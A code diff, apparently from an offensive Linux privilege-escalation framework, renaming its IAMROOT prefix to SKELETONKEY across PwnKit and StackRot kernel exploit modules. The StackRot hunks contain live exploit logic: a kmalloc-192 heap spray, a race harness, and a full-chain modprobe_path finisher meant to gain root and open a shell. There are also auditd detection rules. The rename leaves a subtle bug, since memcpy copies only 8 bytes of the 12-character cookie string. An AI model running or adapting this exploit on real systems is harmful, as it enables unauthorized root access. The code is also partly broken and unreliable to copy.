const struct iamroot_module pwnkit_module = {
|
||||
const struct skeletonkey_module pwnkit_module = {
|
||||
.name = "pwnkit",
|
||||
.cve = "CVE-2021-4034",
|
||||
.summary = "pkexec argv[0]=NULL → env-injection LPE (polkit ≤ 0.120)",
|
||||
@@ -403,7 +403,7 @@ const struct iamroot_module pwnkit_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_pwnkit(void)
|
||||
void skeletonkey_register_pwnkit(void)
|
||||
{
|
||||
iamroot_register(&pwnkit_module);
|
||||
skeletonkey_register(&pwnkit_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* pwnkit_cve_2021_4034 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PWNKIT_SKELETONKEY_MODULES_H
|
||||
#define PWNKIT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module pwnkit_module;
|
||||
|
||||
#endif
|
||||
@@ -16,7 +16,7 @@ Writeup: <https://lkmidas.github.io/posts/20230724-stackrot/>
|
||||
Upstream fix: mainline 6.5-rc1 (commit `0503ea8f5ba73`, July 2023).
|
||||
Branch backports: 6.4.4 / 6.3.13 / 6.1.37.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Two-thread race driver (Thread A: mremap rotation on MAP_GROWSDOWN
|
||||
anchored VMA; Thread B: fork+fault) with cpu pinning. kmalloc-192
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* stackrot_cve_2023_3269 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef STACKROT_IAMROOT_MODULES_H
|
||||
#define STACKROT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module stackrot_module;
|
||||
|
||||
#endif
|
||||
+52
-52
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* stackrot_cve_2023_3269 — IAMROOT module
|
||||
* stackrot_cve_2023_3269 — SKELETONKEY module
|
||||
*
|
||||
* "Stack Rot": UAF in maple-tree-based VMA splitting. The maple
|
||||
* tree replaced the rbtree-based VMA store in 6.1; during
|
||||
@@ -28,7 +28,7 @@
|
||||
* Per repo policy ("verified-vs-claimed"): we run the trigger,
|
||||
* record empirical signals (slabinfo delta on kmalloc-192, child
|
||||
* signal disposition, race iteration count), and return
|
||||
* IAMROOT_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/
|
||||
* SKELETONKEY_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/
|
||||
* SIGBUS/SIGKILL in the race child IS recorded but does NOT get
|
||||
* upgraded to EXPLOIT_OK — only an actual cred swap (euid==0)
|
||||
* does, and we do not currently demonstrate that.
|
||||
@@ -67,7 +67,7 @@
|
||||
* Affects the 6.1 LTS kernels still widely deployed.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -148,12 +148,12 @@ static bool maple_tree_variant_present(const struct kernel_version *v)
|
||||
return false;
|
||||
}
|
||||
|
||||
static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t stackrot_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] stackrot: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 6.1 (when maple tree landed). Pre-6.1 kernels
|
||||
@@ -163,7 +163,7 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] stackrot: kernel %s predates maple-tree VMA code (introduced in 6.1)\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&stackrot_range, &v);
|
||||
@@ -171,14 +171,14 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] stackrot: mm-class bug — affects default-config kernels; "
|
||||
"no exotic preconditions\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Userns reach ------------------------------------------------- */
|
||||
@@ -436,7 +436,7 @@ static void *race_thread_b(void *arg)
|
||||
|
||||
/* ---- Groom skeleton ---------------------------------------------- */
|
||||
|
||||
/* msg_msg sysv spray for kmalloc-192. Tagged with "IAMROOT_" cookie
|
||||
/* msg_msg sysv spray for kmalloc-192. Tagged with "SKELETONKEY_" cookie
|
||||
* so a forensic look at /proc/slabinfo / KASAN dumps shows our
|
||||
* fingerprint. */
|
||||
static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES])
|
||||
@@ -445,7 +445,7 @@ static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES])
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x4943; /* 'IC' */
|
||||
memset(p.buf, 0x49, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMROOT_", 8);
|
||||
memcpy(p.buf, "SKELETONKEY_", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < STACKROT_SPRAY_QUEUES; i++) {
|
||||
@@ -530,7 +530,7 @@ static int stackrot_reseed_kaddr_spray(int queues[STACKROT_SPRAY_QUEUES],
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x4943; /* 'IC' */
|
||||
memset(p.buf, 0x49, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMROOT_", 8);
|
||||
memcpy(p.buf, "SKELETONKEY_", 8);
|
||||
|
||||
/* Pack the target kaddr at byte 8 (one qword in) and the
|
||||
* caller's payload bytes immediately after — this way ANY
|
||||
@@ -619,52 +619,52 @@ static int stackrot_arb_write(uintptr_t kaddr,
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
||||
iamroot_result_t pre = stackrot_detect(ctx);
|
||||
if (pre == IAMROOT_OK) {
|
||||
skeletonkey_result_t pre = stackrot_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK) {
|
||||
fprintf(stderr, "[+] stackrot: kernel not vulnerable; refusing exploit\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] stackrot: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] stackrot: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!proc_self_maps_readable()) {
|
||||
fprintf(stderr, "[-] stackrot: /proc/self/maps not readable — exotic env, "
|
||||
"cannot drive the race\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v) || !maple_tree_variant_present(&v)) {
|
||||
fprintf(stderr, "[-] stackrot: maple-tree variant not detectable\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
/* Full-chain pre-check: resolve offsets BEFORE forking + entering
|
||||
* userns. If modprobe_path is unresolvable we refuse here rather
|
||||
* than running a 30 s race that has no finisher to call. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("stackrot");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("stackrot");
|
||||
fprintf(stderr, "[-] stackrot: --full-chain requested but modprobe_path "
|
||||
"offset unresolved; refusing\n");
|
||||
fprintf(stderr, "[i] stackrot: even with offsets, race-win reliability is "
|
||||
"well below 1%% per run — see module header.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
fprintf(stderr, "[i] stackrot: --full-chain ready — race budget extends to "
|
||||
"%d s, but RELIABILITY REMAINS <1%% per run on a real\n"
|
||||
@@ -683,7 +683,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* 2. Userns reach. Bug is reachable without it, but userns
|
||||
@@ -746,7 +746,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
uint64_t b_faults = atomic_load(&g_race_b_faults);
|
||||
|
||||
/* 6. Empirical witness breadcrumb. */
|
||||
FILE *log = fopen("/tmp/iamroot-stackrot.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-stackrot.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"stackrot race harness:\n"
|
||||
@@ -803,11 +803,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
.arb_calls = 0,
|
||||
.region = ®ion,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
stackrot_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-stackrot.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-stackrot.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||
fr, arb_ctx.arb_calls);
|
||||
@@ -815,7 +815,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
drain_anon_vma_slab(queues);
|
||||
race_region_teardown(®ion);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
|
||||
_exit(35); /* finisher ran, no land */
|
||||
}
|
||||
|
||||
@@ -851,7 +851,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
/* PARENT */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
|
||||
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
@@ -860,20 +860,20 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
"(consistent with UAF firing under KASAN)\n", sig);
|
||||
fprintf(stderr, "[~] stackrot: empirical signal recorded; no cred\n"
|
||||
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
||||
" See /tmp/iamroot-stackrot.log + dmesg for witnesses.\n");
|
||||
" See /tmp/skeletonkey-stackrot.log + dmesg for witnesses.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] stackrot: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 22 || rc == 24) return IAMROOT_PRECOND_FAIL;
|
||||
if (rc == 23) return IAMROOT_EXPLOIT_FAIL;
|
||||
if (rc == 22 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
|
||||
if (rc == 23) return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
if (rc == 34) {
|
||||
/* Finisher reported root-pop success. The shared finisher
|
||||
@@ -883,7 +883,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] stackrot: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (race won + write landed)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (rc == 35) {
|
||||
/* Finisher ran but didn't land — by far the expected outcome
|
||||
@@ -893,11 +893,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" win + land within budget (this is the expected\n"
|
||||
" outcome — race-win reliability is <1%% per run).\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (rc != 30) {
|
||||
fprintf(stderr, "[-] stackrot: child failed at stage rc=%d\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -906,35 +906,35 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
|
||||
" implemented (per-kernel offsets; see module .c TODO\n"
|
||||
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static iamroot_result_t stackrot_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t stackrot_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifdef __linux__
|
||||
return stackrot_exploit_linux(ctx);
|
||||
#else
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] stackrot: Linux-only module; cannot run on this host\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t stackrot_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t stackrot_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] stackrot: cleaning up race-harness breadcrumb\n");
|
||||
}
|
||||
if (unlink("/tmp/iamroot-stackrot.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-stackrot.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
/* The race harness's threads + msg queues live in the child
|
||||
* process which has already exited; nothing else to drain. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
@@ -945,12 +945,12 @@ static const char stackrot_auditd[] =
|
||||
"# stacks, combined with unshare(CLONE_NEWUSER). Each individual call\n"
|
||||
"# is benign — flag the *combination* by correlating these keys with a\n"
|
||||
"# subsequent kernel oops or KASAN message in dmesg.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-stackrot-userns\n"
|
||||
"-a always,exit -F arch=b64 -S mremap -k iamroot-stackrot-mremap\n"
|
||||
"-a always,exit -F arch=b64 -S mprotect -k iamroot-stackrot-mprotect\n"
|
||||
"-a always,exit -F arch=b64 -S munmap -F success=1 -k iamroot-stackrot-munmap\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-stackrot-userns\n"
|
||||
"-a always,exit -F arch=b64 -S mremap -k skeletonkey-stackrot-mremap\n"
|
||||
"-a always,exit -F arch=b64 -S mprotect -k skeletonkey-stackrot-mprotect\n"
|
||||
"-a always,exit -F arch=b64 -S munmap -F success=1 -k skeletonkey-stackrot-munmap\n";
|
||||
|
||||
const struct iamroot_module stackrot_module = {
|
||||
const struct skeletonkey_module stackrot_module = {
|
||||
.name = "stackrot",
|
||||
.cve = "CVE-2023-3269",
|
||||
.summary = "maple-tree VMA-split UAF (StackRot) → kernel R/W → cred overwrite",
|
||||
@@ -966,7 +966,7 @@ const struct iamroot_module stackrot_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_stackrot(void)
|
||||
void skeletonkey_register_stackrot(void)
|
||||
{
|
||||
iamroot_register(&stackrot_module);
|
||||
skeletonkey_register(&stackrot_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* stackrot_cve_2023_3269 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef STACKROT_SKELETONKEY_MODULES_H
|
||||
#define STACKROT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module stackrot_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user